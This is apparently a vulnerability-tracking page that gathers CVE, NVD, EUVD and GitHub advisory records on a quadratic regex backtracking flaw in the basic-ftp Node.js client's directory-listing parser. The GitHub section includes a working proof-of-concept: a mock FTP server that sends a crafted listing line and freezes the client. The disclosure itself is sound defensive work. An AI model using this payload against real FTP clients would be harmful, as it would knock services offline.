basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)

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No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.

Source published

30 Sep 2026 19:44:47 UTC

Source modified

30 Sep 2026 20:05:49 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.

Source published

Sep 30, 2026, 7:44:47 PM (timezone not stated)

Source modified

Sep 30, 2026, 8:05:49 PM (timezone not stated)

Observed here

11 Nov 2026 05:29:44 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.

Source published

30 Sep 2026 20:17:26 UTC

Source modified

30 Sep 2026 21:17:06 UTC

Observed here

25 Oct 2026 04:17:29 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

## Summary `Client.list()` parses the server's directory listing with the Unix-style parser in `parseListUnix.js`. Its `RE_LINE` regex has two adjacent `(\S+(?:\s\S+)*)` groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length. The server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. `parseList()` picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match. ## Proof of concept `npm i basic-ftp && node repro.js`: ```js const net = require("net"), ftp = require("basic-ftp"); const KB = Number(process.env.LINE_KB || 128); const payload = "-rw-r--r-- 1 " + "a ".repeat((KB * 1024 - 13) / 2) + "!"; const listing = payload + "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n"; const server = net.createServer(c => { c.setEncoding("latin1"); c.write("220 ok\r\n"); let buf = ""; c.on("data", d => { buf += d; let i; while ((i = buf.indexOf("\r\n")) !== -1) { const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2); if (cmd.startsWith("USER")) c.write("331 .\r\n"); else if (cmd.startsWith("PASS")) c.write("230 .\r\n"); else if (cmd.startsWith("FEAT")) c.write("211-x\r\n UTF8\r\n211 End\r\n"); else if (cmd.startsWith("EPSV")) { const ds = net.createServer(s => { s.write(listing); s.end(); }); ds.listen(0, "127.0.0.1", () => c.write(`229 (|||${ds.address().port}|)\r\n`)); } else if (cmd.startsWith("LIST")) { c.write("150 .\r\n"); setTimeout(() => c.write("226 .\r\n"), 50); } else c.write("200 .\r\n"); } }); }); server.listen(0, "127.0.0.1", async () => { const client = new ftp.Client(0); await client.access({ host: "127.0.0.1", port: server.address().port, user: "x", password: "y" }); let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now(); await client.list(); clearInterval(hb); console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`); process.exit(0); }); ``` Prints `list() blocked 39.75s; heartbeats fired: 0`, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. `maxListingBytes` defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes. ## Impact One directory listing freezes the whole process, under default options, through the primary API. This is the same "malicious FTP server causes client-side denial of service" shape as GHSA-rp42-5vxx-qpwr, also in `Client.list()` and rated high. The byte cap added there bounds memory, not the parser's CPU cost.

Source published

1 Oct 2026 14:42:42 UTC

Source modified

1 Oct 2026 15:00:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH